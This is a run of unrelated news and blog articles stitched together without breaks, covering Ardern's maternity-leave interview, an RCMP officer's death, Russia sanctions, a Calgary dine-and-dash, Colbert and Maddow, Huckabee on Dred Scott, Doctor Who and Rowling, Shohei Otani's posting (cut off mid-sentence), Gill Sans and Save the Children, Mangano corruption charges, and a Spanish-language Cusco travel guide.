In what world is it okay to ask this type of question to a woman, regardless of the position she may hold? Ardern, however, quickly shut down the radio host, calling the question out of line.
That is unacceptable in 2017,” Ardern said. “It is a woman’s decision about when she chooses to have children and should not predetermine whether or not they are given a job or have got opportunities.”
Ardern is familiar with Richardson’s stance on women and pregnancy in the workplace, as the host previously said that employers should know this information from their female employees. Richardson’s bold question asking if it is ok for the Prime Minister to take maternity leave left many upset.
Ardern has already publicly spoken out about her plans to to start a family and she doesn’t mind discussing it, however the comparison to women in the workplace is what caused the upset. Ardern insists that women should not have to be worried about maternity leave and consider this a struggle in the workplace.
Ardern even went on to ask Richardson if he would ask a man this question, to which Richardson responded with an unenthusiastic “yes”. Instead of focusing on the accomplishments of this young woman, many seem to be stirring up drama and provoking emotions from the public about her personal decisions. This is not the first time that Ardern was asked this question. During an appearance on a New Zealand TV show called The Project, she was asked by male co host, Jesse Mulligan, if she planned on having children. In this case, Ardern responded politely and said her situation is no different from any other working woman looking to balance priorities and responsibility.
In New Zealand, many activists are debating this form of sexism. The Human Rights Act of 1993 prohibits any employer to discriminate on the grounds or pregnancy or plans to start a family.
Ardern’s case is no different.The RCMP officer who was shot in the head at an Alberta casino last weekend has died.
Alberta RCMP Const. David Wynn, 42, had been in hospital since he was gunned down early Saturday morning and was not expected to survive.
“Words cannot express the deep sadness we feel today,” the RCMP said in a statement.
Wynn, a husband and father of three sons, died Wednesday morning in an Edmonton hospital.
The RCMP say there will be a regimental funeral for Wynn in the Edmonton area, with details to follow.
On Monday evening, his wife spoke of saying goodbye to her gravely injured husband.
“We’re saying our goodbyes today and then from there, he’ll be in a better place,” Shelly MacInnis-Wynn said at an evening news conference.
“Today’s the day we say goodbye to Dave.”
She thanked the RCMP, the city of St. Albert and people in Nova Scotia, where Wynn worked as a paramedic before joining the Mounties.
Wynn’s sister, Dawn Sephton, thanked the medical teams at two Edmonton hospitals for the care they gave her little brother.
“As a family I would ask you to continue to support and respect the RCMP and the phenomenal job that they do in the service of all Canadians,” Sephton said.
The 42-year-old father of three was one of two officers shot at the Apex Casino in St. Albert as they investigated a stolen pickup truck.
The other officer, auxiliary Const. Derek Bond, was shot in the arm and torso and faces a long recovery.
The family’s statement came as court and parole board documents revealed the violent criminal background of the shooter, who was found dead in a home not far from the scene.
The documents show that Shawn Rehn, 34, had a long history of assaults, weapons convictions, break-ins and drug use that stretched back to his teenage years in the mid 1990s.
“You are a dangerous person who has demonstrated blatant disregard toward the criminal justice system as well as lack of respect to the public in general,” the Parole Board of Canada said when it denied Shawn Rehn day parole in 2006.
“Your crimes are continuous and increasing in seriousness and often resulted in serious psychological, emotional and financial harm to victims.”
Six years later, before Rehn left jail on statutory release on different charges, the board said that his “reintegration potential is assessed as low.”
He was rearrested in July 2013 with a fellow parolee who had convictions for armed robbery. Police searched Rehn’s car and found a crack pipe, pellet pistol and knives.
The parole board rebuked Rehn for ignoring bans on having firearms.
“When you are in possession of weapons, the public is at serious risk of harm from you, as your past offending demonstrates,” wrote the board the following September.
RCMP Commissioner Bob Paulson remarked on Rehn’s criminal history, particularly a series of overlapping firearms bans. Paulson said it may provoke an examination of the police and justice system that allowed Rehn to be free.
“I’ve been policing for 30 years and I’ve never seen anything the likes of this,” Paulson said on the weekend.
When four Mounties were gunned down by a cop-hating criminal in Mayerthorpe, Alta., in 2005, the Alberta Crown did a formal review of the shooter’s prosecution history to determine if anything could have been done better.
That review found that while James Roszko had been charged with more than 40 crimes and been flagged as a potential dangerous offender, he did not meet the standard for indefinite detention.
A spokesperson with Alberta’s Justice Department declined comment on the Rehn case Monday.
The former pipefitter and oilsands worker’s criminal record, made public Monday by Alberta Justice, details a lengthy list of 57 convictions, starting in April 1999 when he was ordered jailed for two months for theft and break and enter.
In the years that followed, when Rehn wasn’t serving time, he was racking up convictions in Edmonton, Calgary and the smaller communities of Evansburg and Drumheller.
They were for assault, assault with a weapon, drug possession and possession of prohibited firearms. He obstructed a peace officer, escaped lawful custody and drove while disqualified.
He also was convicted for breaking and entering, theft and possession of stolen property.
Parole Board Of Canada documents show Rehn served two federal jail terms as an adult.
The first was a two-year sentence for possession of stolen property and driving while disqualified. The second was for three years on charges including escaping custody and possession of a loaded prohibited weapon.
Collectively, he was sentenced to serve more than 12 years in custody, but it’s not clear how much of that time he actually spent behind bars.
On the day he died, he was still facing 30 charges for four separate offences, including fraud, resisting a peace officer, escaping lawful custody, possessing a prohibited firearm, failing to appear in court, failing to stop for police, dangerous driving and multiple charges of breaching bail conditions.Senator John McCain has warned Donald Trump that the Senate would quickly reimpose sanctions on Russia if they are lifted by the president, setting up an early showdown between the White House and congressional Republicans over a vital foreign policy issue.
Putin and Trump set for phone call as US president considers lifting sanctions Read more
Trump later equivocated on the sanctions, saying at a joint press conference with the British prime minister, Theresa May, that it was “very early to be talking about that”. He said he would “see what happens” in a scheduled phone call on Saturday with Vladimir Putin.
Immediately after Trump’s remarks, May stated that the UK believed “sanctions should be continued” until an international peace deal over Ukraine – agreed in Minsk in 2014 – was properly implemented by Moscow.
As anticipation grew in Washington over a possible move to lift sanctions imposed by the Obama administration, McCain put out a combative statement saying it would be “naive and dangerous” for Trump to mistake Putin’s hostile intent towards the US.
“For the sake of America’s national security and that of our allies, I hope President Trump will put an end to this speculation and reject such a reckless course. If he does not, I will work with my colleagues to codify sanctions against Russia into law,” McCain said.
He was soon backed up by the top Republican leadership. Both Paul Ryan, the Speaker of the House of Representatives, and Mitch McConnell, the majority leader in the Senate, told Politico that they were against lifting the sanctions.
Another Republican senator, Rob Portman, argued for Congress to preemptively “to ensure we live up to our commitments to our allies and uphold longstanding American values and ideals.”
Such legislation would have bipartisan support. Earlier this week, Democratic senators said they would introduce legislation forcing Trump to seek congressional approval before lifting sanctions on Russia.
Barack Obama signed four executive orders in 2014 imposing steadily mounting penalties on Russian individuals and entities for the country’s intervention in Crimea and eastern Ukraine. The sanctions were coordinated with the EU. A further executive order was issued at the end of December in response to intelligence findings on Russian hacking of the presidential election.
As presidential orders, they could be rescinded by a stroke of Trump’s pen. If Congress then reimposed the sanctions through legislation, Trump could veto the law but that would pave the way for a struggle that would split the Republicans and which the president could not be sure to win.
Senator Lindsey Graham, another conservative Republican, recently claimed there were 75 senators ready to support further sanctions on Russia.
Western allies are struggling to maintain the EU consensus over Russian sanctions, and the White House has come under intense lobbying for Trump not to relax pressure on Moscow without a change of behaviour in Ukraine.
Any move to lift sanctions by executive order would also give impetus to investigations in the Senate on whether the Trump campaign colluded with Moscow.
Daniel Baer, the former US ambassador to the Organisation for Security and Coordination in Europe (OSCE – which has a role in monitoring the implementation of the Minsk agreement), said any move to lift the sanctions would be “a grossly irresponsible action in the context of dealing with an aggressive, revanchist, Kremlin”.
“It would show a fundamental misunderstanding of foreign policy,” Baer said. “My take is that Trump and [national security adviser] Michael Flynn are either being foolish or being influenced, as it is so obviously not in US interests, and that is not a partisan view.”
A spokeswoman for the EU foreign policy chief, Federica Mogherini, declined to comment on “rumours” that sanctions would be lifted by the US. “Our restrictive measures were adopted here by 28 member states and that remains to be the case.”
EU sources said it was too early to say what would happen, with one hitting back at suggestions EU unity would crumble. “We decide on our sanctions, not the Americans,” the source said, adding that the measures were coordinated through the G7, which includes Canada and Japan.
“This is a very theoretical debate and a lot of things might change before July,” the source added. “The one thing that is certain is that everyone will watch this [US] decision very closely – if there is one.”
There has been cautious optimism in Moscow in recent weeks about the prospect of a new era of Russia-US relations in which Moscow is not lectured for human rights abuses, and is given free rein to act as it pleases in neighbouring countries. State television has given Trump largely positive coverage, a sharp departure from the anti-US rhetoric of recent years. A recent survey found that just 4% of Russians thought Trump would be a bad president.
Adding to the uncertainty surrounding executive orders coming out of the Oval Office, the White House pulled back on Friday evening on a draft order that had been widely leaked calling for a 40% cut in US voluntary contributions to the UN and other international organisations and possible withdrawal from treaties. A White House official was quoted as saying that no executive order on the issue was “expected at this time”.
• This article was amended on 30 January 2017. An earlier version referred to Senator Tom Portman; he is Rob Portman.Calgary police are seeking a man believed to be linked to a spate of dine-and-dash meals at several restaurants across the city.
Staff at Muse restaurant say a man in his 20s was dining alone on Thursday night. He had two cocktails, an appetizer, dinner, half a bottle of wine, dessert and coffee — and then left an empty wallet on the table and walked out the door.
"We [did] see him leave the restaurant as well," said Muse co-owner Heather Wighton. "Very slow, very calm, wasn't running out of there."
In all, the skipped tab would have been $156.
Muse then tweeted a photo of the man, taken from surveillance video, that went viral locally with more than 150 retweets.
Then, two other restaurants came forward with the same story.
Teatro and Blink, two high-end downtown restaurants, both told Wighton they had fed the same dine-and-dasher in the past few days and, in both incidents, the man left an empty wallet on the table.
"Every pocket had a piece of magazine in it so the side view looked like receipts or ID in the wallet, so right away we knew that we were scammed," said Wighton.
Calgary police are investigating.Stephen Colbert mocked MSNBC host Rachel Maddow Wednesday for massively overplaying her big scoop on President Donald Trump’s tax returns and making her audience wait for what turned out to be a nothingburger.
Imitating Maddow, the late night comedy host did a mock segment in which he teased a “very significant” joke heard by Trump.
“I hold in my hand something very significant,” he begins. “It is a joke. A joke that we have confirmed has been heard by Donald Trump. We believe that this is the first time any joke connected with Donald Trump has been released.”
WATCH:
This just in: Stephen has acquired a special joke. He’s going to share it with the world. Shortly. Keep watching. #LSSC pic.twitter.com/miSmB3ZYEw — The Late Show (@colbertlateshow) March 16, 2017
Maddow was widely criticized for making her audience sit through a long discussion about the context of the Trump tax return she said she obtained, ticking off a list of unanswered questions and conspiracy theories about Trump’s connection to Russia, and then waiting for a commercial break before finally getting to the meat of the scoop. Maddow waited so long to break the news, the White House went ahead and released a pre-emptive statement discussing the details of the return in question.
“The joke in question: Why did the chicken — but first a word on chickens,” Colbert said. “Chickens are flightless birds, domesticated 3,00o years ago in Mesopotamia. They produce both meat and eggs, as well as companionship. They are eaten by people. People like Russian oligarch Dmitry Rybolovlev. … He’s a Russian! With confirmed ties to chickens.”
“Why did the chicken cross the road?” Colbert added. “Okay what are roads? Why do we need them? Do tax dollars pay for roads? They do. What can be a road?”
“And where is this road crossing chicken going?” he continues. “Mar-a-lago? Is it going to Russia to be chicken kiev? These are important questions I will be answering. But whether or not you’re a Trump supporter, whether or not you’ve heard this joke before, it ought to give you pause that after all of this buildup — I still haven’t gotten to the punchline.”
Maddow’s big scoop ended up showing nothing more than that Trump made a lot of money in 1995 and paid his taxes, and at a higher rate than both former President Barack Obama and Vermont Sen. Bernie Sanders.
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The Supreme Court’s 1857 ruling on Dred Scott v. Sandford, widely considered by scholars to be the worst in the court’s history, found that Scott, who was born a slave, could not sue for his freedom even when brought to a free state, as neither he nor any black American were citizens, even if they were free. It was overruled by the 14th Amendment to the Constitution.
But Huckabee seemed to miss that in defending Rowan, Kentucky county clerk Kim Davis’s decision to defy the Supreme Court while refusing to issue marriage licenses to gay couples.
In an interview conducted with radio host Michael Medved and published online by BuzzFeed, Huckabee talked about the public debates he’s engaged in over the legality of Davis’s actions.
“I’ve been just drilled by TV hosts over the past week, ‘How dare you say that, uh, it’s not the law of the land?’” Huckabee said. “Because that’s their phrase, ‘it’s the law of the land.’ Michael, the Dred Scott decision of 1857 still remains to this day the law of the land which says that black people aren’t fully human. Does anybody still follow the Dred Scott Supreme Court decision?”
Medved immediately corrected Huckabee and asked if a constitutional amendment could be an option for Davis’s cause.
“I don’t think that’s necessary,” the former governor argued. “Because, in the case of this decision, it goes back to what Jefferson said that if a decision is rendered that is not borne out by the will of the people either through their elected people and gone through the process, if you just say, it’s the law of the land because the court decided, then Jefferson said, ‘You now have surrendered to judicial tyranny.’”
The Huckabee campaign didn’t respond to requests for comment in time for publication. We’ll update if and when we hear back.
H/T Raw Story | Photo via Gage Skidmore/Flickr (CC BY SA 2.0)Normally “no” and “I’m not telling you” are the words frequently spat out of the mouth of Doctor Who show runner Steven Moffat, but he made an interesting comment this evening when asked about Harry Potter author J.K. Rowling.
In a Q&A session at the AdLib comedy event in Edinburugh on Wednesday night, Moffat was asked several questions about Doctor Who and Sherlock.
A member of the audience asked if J.K. Rowling will pen one of the planned Doctor Who 50th Anniversary short stories which the BBC has said will be written by famous “well-known children’s authors.”
“I can’t confirm that… right now,” said Moffat, insinuating that at some point he will confirm Rowling’s involvement.
Hypable had speculated in January that Rowling could be one of the authors who accepted an invitation to write. All 11 stories will be published this November. Eoin Colfer is one of the previously-announced authors.
It would make sense if the famous author were to write something for the U.K.’s biggest television show because it’s not the first time she was almost involved with Who.
We’ve known for some time that Rowling was invited to write an episode for a previous season of the show, but she declined.
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In e-mails reported on by Metro back in 2008, former show runner Russell T. Davies said, “Back in 2004, I asked J.K. Rowling to write an episode of Doctor Who, though she politely declined, and reflecting that we can’t possibly get someone to star in next year’s Christmas Special who’s as famous as Kylie…when all those things coalesced. BAM! I thought, don’t ask J.K. to write a Doctor Who, ask her to be in a Doctor Who! We’ve done Dickens, Shakespeare, Agatha Christie…why should kids think that all great authors are dead?”
He went on to explain the decision to not include her in the 2008 Christmas special. “David [Tennant] doesn’t like the J.K. idea, he thinks it sounds like a spoof, so we’ve paused slightly, wondering whether to win him round or just abandon something that he’s not going to be happy with. We’ve got to keep him happy. He keeps us happy. Plus, he might be right. So that idea has parked itself, and I doubt we’d ever get J.K. – she doesn’t need to do it.”
So will this time be different? Will Moffat actually get J.K. Rowling to contribute to the Doctor Who universe? We can’t wait to find out!
Would you prefer J.K. Rowling writes a short story or an episode for ‘Doctor Who’?
Thanks to Blogtor Who, who was at the event.A topic of much interest around baseball right now is Shohei Otani, the Japanese superstar who might be headed to the major leagues in time for the 2018 season. Whether that happens is a complicated stew of financial considerations, so this begs for the FAQ treatment. Let's jump right in...
Who is Shohei Otani?
Shohei Otani is a 23-year-old Japanese phenom who profiles as a future star whether he's on the mound or at the plate. Across five seasons with the Nippon Ham Fighters, he has put up a line of.286/.358/.500 at the plate (he has produced at an even higher level over the last two seasons). On the mound, he owns an ERA of 2.52 with 624 strikeouts in 543 innings.
How good is he?
Really, really good. This extended highlight reel from his 2016 season should give you an idea:
On the mound, Otani can touch triple digits with his fastball, and he also boasts a devastating slider and can change it up with a nasty splitter. A repeatable delivery in addition to three plus offerings all in an ideal pitcher's frame? That's a frontline starter in the major leagues. At the plate, he's got a disciplined approach and raw power potential, and he's also got some speed on the bases. That's an exceedingly rare package of skills.
Will Otani be a two-way player in MLB?
Otani reportedly wants to play both ways in the majors, and assurances to that end might come up in eventual negotiations. The default assumption is that he'll be a primary pitcher. At this point, he has a higher ceiling as a pitcher, and organizations when presented with viable two-way threats tend to lean toward the pitching side of things. Maybe this gives a National League club an edge for Otani, since at least he'll be guaranteed to bat on his start days.
Then again, we haven't really seen the likes of Otani's broad base of skills, at least not in a long time. Consider what one veteran MLB scouting director told MLB.com's Jonathan Mayo in September:
"I've been doing this 26 years, seen as many players as anybody, but I've never seen a skill set like this. This guy is polished like [Rays prospect Brendan] McKay with [Reds prospect Hunter] Greene's tools, but he's faster than Greene. There should be giddiness; no one has ever seen it. We'll see how it turns out."
Given the number of teams willing to challenge perceived wisdom these days and given Otani's desire to be a two-way star, don't be surprised if a mold gets broken. Hey, if Brooks Kieschnick can give it a whirl, then why not Otani?
So is he going to make the leap to MLB before next season?
It's looking likely, but it's not yet certain. Otani has reportedly secured the services of a stateside agent, which is a strong indicator. His desire to pitch in the U.S. is also an open secret. The posting system, however, complicates matters.
What's the posting system?
The posting system is the mechanism by which players in Japan's Nippon Professional Baseball or the Korea Baseball Organization make the leap to the U.S. major leagues. After a player has racked up nine years of service time in those leagues, he's an unrestricted free agent (e.g., Hideki Matsui when he signed with the Yankees). If, however, a player (like Otani) seeks to go to MLB before that point, his team can choose to "post" him.
How does the Japanese posting system work?
This is where things get complicated for Otani. Under the system that just expired, MLB teams would bid up to $20 million for the right to negotiate with a posted player for a period of 30 days. That posting fee of up to $20 million would go to the player's club in Japan if and only if an MLB team signs the posted player. If no agreement with the player is reached, then he returns to his Japanese team and the MLB club gets back its posting fee. Usually, though, the player signs.
For example, when the Yankees signed Masahiro Tanaka to a $155 million contract, they also paid a $20 million posting fee to Rakuten, his team in Japan. That system, however, is likely to be different going forward.
How is the posting system changing?
It's changing in two ways. First, the amount of money a player like Otani can sign for is being drastically limited. Under the new collective bargaining agreement (CBA), which governs the labor relationship between players and clubs in MLB, international free agents under the age of 25 are subject to international bonus pool money restrictions for the July 2 signing period.
What's the July 2 signing period?
That's when MLB clubs are free to sign international free agents -- i.e., players who are at least 16 years of age or foreign professionals under the age of 25 -- who aren't from the U.S., Puerto Rico or Canada (those amateurs are subject to the June MLB Draft). However, MLB clubs must work within hard-capped budgets. Those budgets are $5.75 million, $5.25 million or $4.75 million depending upon market size and revenues (the larger the market size and revenues, the lower the starting budget). Also, teams can trade cap space -- up to $250,000 at a time, for a total of 75 percent of their base budget in 2017-18 and 60 percent of their base budget in future signing periods.
On the other side of things, it's also possible to lose budget space. MLB.com explains:
Beginning in the 2017-18 offseason, any team that is over the luxury tax threshold and signs a Major League free agent that has rejected a qualifying offer will lose $1 million from their international signing pool in the following signing period. A team that is not over the luxury tax would only forfeit $500,000 of its signing pool in the subsequent period.
Beyond that, a number of teams have their current international signing capabilities heavily limited as punishment for exceeding their budgets under the old CBA, when the caps weren't hard but did carry significant penalties.
How will this affect Otani?
As noted above, foreign professionals under the age of 25 are now subject to these July 2 rules. That includes Otani. We're talking about a young player who would easily fetch nine figures on the open market, but now he won't be able to crack a $4 million bonus. To call this an artificially restricted market is to indulge in criminal levels of understatement.
Why wouldn't he just just wait two years until he's 25?
That's a great question. It seems like the rational decision. After all, he wouldn't be subject to those international bonus money restrictions if this were, say, the winter of 2019-20, when he would be 25. Then he would be getting that aforementioned nine-figure contract. Otani, though, seems badly to want to make the leap now, and he trusts his skills enough to assume the money will come later. He can also get his MLB arbitration clock running now, but it's still a big risk. For whatever reason, the new system seems not to have dissuaded him.
Wouldn't a team be able to get around these rules by agreeing to a future contract extension with Otani in secret?
Speaking of rational responses, this would seem to be a reasonable approach by teams heavily interested in Otani. You pony up the posting fee, pay Otani the relatively tiny bonus he's allowed under the July 2 rules, and then on the down-low negotiate a long-term contract with him that won't be announced until a year or three down the line. However, reports are that MLB is heavily invested in deterring such an arrangement, and that would presumably entail major penalties should a club seek to skirt the rules in such a manner. How MLB can ensure compliance isn't entirely clear, but the potential for under-the-table dealings is very much on the league's radar. Obviously, they'd need ears and eyes on the negotiation process because at some point down the line plausible deniability sets in, and a contract extension for a young frontline talent like Otani becomes impossible to prevent. This makes for an investigative challenge for MLB.
OK, above you said the posting system is changing in two ways. We talked about the July 2 thing. What's the other way?
Oh, yeah. Well, soon enough teams in Japan aren't going to be able to fetch a $20 million posting fee. Starting with the 2018-19 offseason, the posting fee will be 15 percent of the guarantee of a major league contract (i.e., for a player 25 years or older) or 20 percent of the signing bonus if a player is subject to those international bonus pools. That's according to a |
resulted in some of the same backlash that Helvetica enjoys. I have to confess to you that I’ve used it quite recently, however begrudgingly. I didn’t want to use it. I don’t really like it that much, but for the job I was working on, it worked. That’s all graphic designers need, really, something that works and compliments its context.
Another example of the font’s usefulness, cleanliness and popularity has resulted in the controversy that is currently making news in Sweden. This is an example of a design that looks nice but its context makes all the difference.
Gill Sans is the logo typeface for Rädda Barnen (“Save the Children”), a non-governmental organization based in Sweden that “fights for children’s rights [and works to] deliver immediate and lasting improvements to children’s lives worldwide.” They are a massive organization, promoting noble aspirations and, to be sure, they are relentless in their efforts to help children in dozens of countries.
That’s why it is such a sad and unfortunate coincidence that Eric Gill, designer of the Gill Sans typeface, not only abused his own children, but had an incestuous relationship with his sister. If that isn’t enough to turn your stomach, he was also up to other sick perversions I don’t need to discuss for the purposes of this story. Let’s just say his dog couldn’t really relax around the house either. Instead of using his dog to pick up girls, this poor animal was being used as the girl.
This bastard Eric Gill was a genuine piece of shit. Hardly the type of character you’d want even remotely associated with your organization, regardless of your line of work.
Oh, and did I mention he was super religious?
Suffice it to say that the people at Rädda Barnen were shocked about a year ago when they became aware of the history of their logotype’s creator. They quickly began taking steps to replace it.
Louise Gauffin at Rädda Barnen told the graphic design magazine CAP & Design this week, “As soon as we heard about it, we began a rebranding project… We felt that we should phase out the font.” I should say so.
All this has become public during the past week. When a communications consultant named Per Torberger was watching the Swedish version of Idol recently, he saw a fundraising commercial for Rädda Barnen. He had one of those moments of realization when he saw the logo and typeface together. It made him feel sick.
Torberger wrote about it on his blog, Pers Värld (“Per’s World”), and it immediately began lighting up cyberspace.
Quite decisively, Rädda Barnen announced on Monday that they are beginning to phase out the typeface:
“When Save the Children chose Gill Sans as a logo typeface, we did not know of Eric Gill’s background. It is something we have become aware of in recent times. We take this issue very seriously and as soon as possible, we will replace the font… We estimate that the work will be completed in 2010. As soon as it is possible in terms of cost, we will change the font.”
The reaction to the change seems overwhelmingly positive, even among people who are not interested in design. Believe it or not, there actually are some people in Sweden who are not interested in the way things look.
This might disgust you even more than anything else you’ve read here today: I regularly see professionally-made signs and flyers in Stockholm with the Comic Sans font on them. Talk about an offensive typeface!
In their reporting on the Rädda Barnen logo situation, the tabloid Aftonbladet referred to Eric Gill in today’s paper as a “typographer and religious fanatic… and pedophile.” Ah ha, I see. Not only an artist but a true multi-tasker.
Do you think that’s what it said on his business card? “Eric Gill: typographer, religious fanatic, pedophile. Please ring London Kensington 4-5-2.”
What a shame as well that Gill was such a talented pioneer and whose work has endured the test of time, especially in a field that sees influence come and go many times each year. I guess you can’t have it all.
The Sydsvenskan newspaper in Malmö ran the headline “Save the Children fonts designed by pedophile.” That pretty much says it. “The creator of the typeface abused his children.”
Pia Högberg, creative director at Stockholm’s Infobahn advertising agency is a bit more understanding on her company’s blog. “Oops! … Of all the fonts in the world, they chose the one designed by a man who was a pornographer, had an incestuous relationship with his sister and on top of it all brutalized his own children.” Oops indeed.
“An honest mistake,” she says, “which unfortunately will become an expensive story for Save the Children. Time and money that should go to their core activities instead.”
Högberg gives all the credit to Per Torberger who brought the regrettable dichotomy to the public’s attention, starting only with a post on his blog. “Who says the individual doesn’t have power?”Nassau County Executive Ed Mangano is expected to be charged as early as Thursday on federal corruption-related matters, according to sources familiar with the case. Jonathan Dienst reports. (Published Wednesday, Oct. 19, 2016)
What to Know Nassau County Executive Ed Mangano is expected to be charged on federal corruption matters, sources say
For more than a year, questions have swirled about the 54-year-old Mangano's ties to businessman Harendra Singh
A spokesman for Mangano told NBC 4 New York Wednesday that the expected charges were "complete rumor mill and nonsense"
Nassau County Executive Ed Mangano is expected to be charged as early as Thursday on federal corruption-related matters, according to sources familiar with the case.
For more than a year, questions have swirled about the 54-year-old Mangano's ties to businessman Harendra Singh and whether Mangano accepted free vacations from the restaurant owner in exchange for helping him with business deals.
Singh has restaurants in Bethpage and Oyster Bay, including at the town's golf course.
Singh was arrested last year and has denied charges he bribed one Oyster Bay town official in exchange for getting loan guarantees. He was also accused of lying to FEMA in order improperly collect $1 million Sandy relief money.
Customers Want Deposits Back After Restaurateur's Arrest Shutters Popular NYC Restaurant
A Long Island family spoke with Greg Cergol exclusively about their fears they may be out more than the thousand dollars they deposited for an engagement party. (Published Friday, Dec. 18, 2015)
Despite sources telling NBC 4 that Mangano is expected to appear at the federal courthouse in Central Islip Thursday, a spokesman for the Republican official, Brian Nevin, told NBC 4 New York, "County Executive Mangano has the highest integrity, has done nothing wrong, has not been contacted, and the accusations are preposterous."
Spokespeople for the U.S. Attorney and the FBI declined comment, as did Singh's attorney.
Mangano was first elected county executive in 2009, and re-elected in 2013. Prior to becoming county executive he served seven terms as a county legislator.
He worked as a janitor to put himself through college, eventually earning a law degree from Hofstra.Read in English
Estaba buscando la mejor vista de la ciudad y nada me iba a detener. Seguí otra escalinata empedrada ondeante en una sección del noroeste de Cusco, la antigua capital inca apiñada en el valle de una montaña andina de Perú. No eran más de un par de decenas de escalones, pero el esfuerzo era perceptible. Pensé: “No estoy en tan mala condición física… ¿o sí?”. Estaba jadeando y resoplando y mi corazón latía un poco más fuerte en el pecho. Hice una pausa y respiré hondo aquel aire gélido y fino.
El viejo cliché de “No es el calor, es la humedad” tiene una versión distinta en Cusco, donde una mejor forma de decirlo sería: “No son los callejones ondulantes, los escalones empinados ni las pendientes pronunciadas: es la altitud”. El oxígeno no abunda cuando se está a más de 3300 metros por encima del nivel del mar, y esta carencia le da un nuevo significado a la frase “sin aliento”, que uno se descubrirá usando con frecuencia para describir la ciudad, de manera literal y metafórica.
En ciertos sentidos Cusco —que a veces se escribe Cuzco— parece una ciudad congelada en el tiempo, con sus calles empedradas y techos de tejas de barro, mujeres y hombres indígenas con su vestimenta típica vendiendo frutas y verduras, tradiciones cuidadosamente conservadas y reliquias que datan de hace siglos. Pude darme una idea muy completa de todo lo que la ciudad puede ofrecer y a un presupuesto razonable.
Por suerte, una de esas antiguas tradiciones de la ciudad justamente me ayudó a combatir el mal de altura. La hoja de coca es una sustancia controlada en algunos países, pero los pueblos andinos la han usado durante siglos para fines medicinales y nutricionales. En general se usa para hacer una infusión o se masca en un rollo como el tabaco. También se encuentra por todas partes en Cusco: en tiendas, en restaurantes y en la calle, donde la venden mujeres vestidas con atuendos tejidos tradicionales (una pequeña bolsa cuesta un sol peruano o unos 30 centavos de dólar).
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Incluso fue ofrecido como una cortesía en mi alojamiento de Airbnb, un adorable apartamento en un segundo piso rodeado de árboles y plantas por el que pagué 31 dólares la noche. Le tomé la palabra a mi anfitrión, que ofreció ir por mí al aeropuerto y llevarme al apartamento por 30 soles, unos 9 dólares (para regresar al aeropuerto, tomé un taxi en la calle y solo costó 10 soles). Cuando llegué, puse algunas hojas en una tetera y calenté el agua; pronto, bebía el líquido amargo y ligeramente herbal. La sensación de mareo que había sentido desde que aterrizamos en Cusco desapareció poco después. También se puede usar Advil para combatir el mal de altura moderado, al igual que algunos medicamentos que se venden con receta médica, pero lo mejor es consultar a un médico primero.
Otro consejo básico es usar sombrero y bloqueador solar. El cielo parcialmente nublado fue la norma durante mi estancia en Cusco, pero puede darles a los viajeros un falso sentimiento de seguridad. Hay que decirlo: en Perú, el sol cala, sin importar que esté cubierto de nubes. Si añadimos la altitud a la combinación, uno se puede quemar en un abrir y cerrar de ojos si no usa protector solar.
Por fortuna, en Cusco abundan los lugares para comprar suministros, como sombreros. La hermosa Plaza de Armas, la plaza principal, está llena de los turistas que exploran la región o que pasan de camino a Machu Picchu. Lo más probable es que los lugareños aprovechen para acercarse, como me sucedió a mí, a vender sus artesanías, sombreros (5 soles) y ponchos (3 soles) o para ofrecer recorridos a sitios turísticos locales… o incluso marihuana (que no compré). A cada lado de la plaza hay dos iglesias magníficas: la Catedral del Cusco al noroeste y el Templo de la Compañía de Jesús al suroeste.
Los restaurantes cercanos también son turísticos: sus precios lo comprueban, aunque son relativamente razonables. Cicciolina, en el segundo piso de una antigua casa colonial en la calle Triunfo, es un buen lugar para un tentempié, con una atmósfera cálida y acogedora. (De camino ahí, echen un vistazo a la piedra de doce ángulos; el Palacio Hatunrumiyoc se construyó encima de ella y cuenta la leyenda que, si no estuviera ahí, el palacio se vendría abajo).
Las tapas en Cicciolina –que incluyeron jamón de pato peruano con chile, vieiras con aguacate y ensalada cusqueña de elote, queso y habas– se venden a la carta (a 10 soles cada una) o en una selección de cinco (a la elección del chef, por 30 soles). En mi caso, opté por una ensalada de lechuga orgánica local y langostinos cubiertos de quinoa azul y negra con una vinagreta de maracuyá (36 soles). Otras opciones de comida en esta parte del espectro incluyen La Bodega 138, donde comí una pizza Estrella bastante decente por 39 soles que llevaba hongos, salami y jamón, y bebí una cerveza peruana local por 16 soles.
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Las opciones menos caras están a unos minutos caminando desde la plaza. Los peruanos adoran su pollo a la brasa y abundan las pollerías donde se puede saborear este platillo salado y grasoso. La Plazoleta de Santiago es el lugar donde se encuentran las pollerías y, como tenía dificultades para elegir una, pregunté a un policía. Me señaló la Pollería Santiago, un recoveco justo pasando la plaza. El pollo estaba húmedo y lleno de sabor de manera casi sobrenatural. Un cuarto de pollo con un puñado generoso de papas fritas y una salsa picante cuesta 11 soles.
Al norte de las pollerías están sus mercados, otra parte de Cusco que no hay que perderse. Caminé por la calle Tambopata, crucé un puente y asomé la cabeza en un bar subterráneo para lugareños (este, donde la gente se toma en serio eso de beber y las botellas de 1,1 litros de cerveza Pilsen Callao costaban 9,50 soles, parecía no tener nombre). Cerca de ahí había un mercado del que partían muchas calles como los rayos de una rueda, cada una especializada en algo distinto: carne, frutas, verduras, ropa.
Cerca de la calle Nueva se apilaban costales de papas moradas recién cosechadas; un hombre que vendía una vaca recién sacrificada, incluyendo la cabeza, se encontraba en otra calle. Probé una bebida medicinal, viscosa y fuerte, llamada emoliente, hecha con semillas de linaza, por un sol.
El Mercado Central de San Pedro es una zona extensa y techada (parece un poco más grande que un campo de fútbol) donde los vendedores ofrecen todo tipo de artículos, como textiles y cuyes, o conejillos de indias. La atmósfera es animada y colorida, llena de turistas y de residentes que están ahí para hacer sus compras cotidianas. Los precios se regatean, a excepción de la comida preparada: decenas de vendedores ofrecen tazones calientes de sopa de pollo o platos con pollo y arroz por cinco soles. Yo opté por un vaso de jugo de naranja recién hecho que costó 4 soles.
Para aquellos que andan en busca de textiles bordados, hay mercados, vendedores ambulantes y tiendas especializadas como el Centro de Textiles. Cuando estuve ahí, había cuatro tejedoras vestidas a la usanza tradicional trabajando en el centro de la tienda y mascando hojas de coca. Su museo gratuito, que vale la pena ver, exhibe distintas fibras (principalmente lana de oveja, que ha acabado por remplazar casi en su totalidad el uso de la alpaca y la llama que se utilizaban cuando llegaron los españoles), la producción de lana y las vidas de las tejedoras, que comienzan a aprender el oficio desde la infancia. Los precios no son baratos (los monederos cuestan 50 dólares, los chales unos 100 dólares), pero los compradores pueden tener un poco más de seguridad respecto de la calidad en comparación con los productos que se venden en la calle.
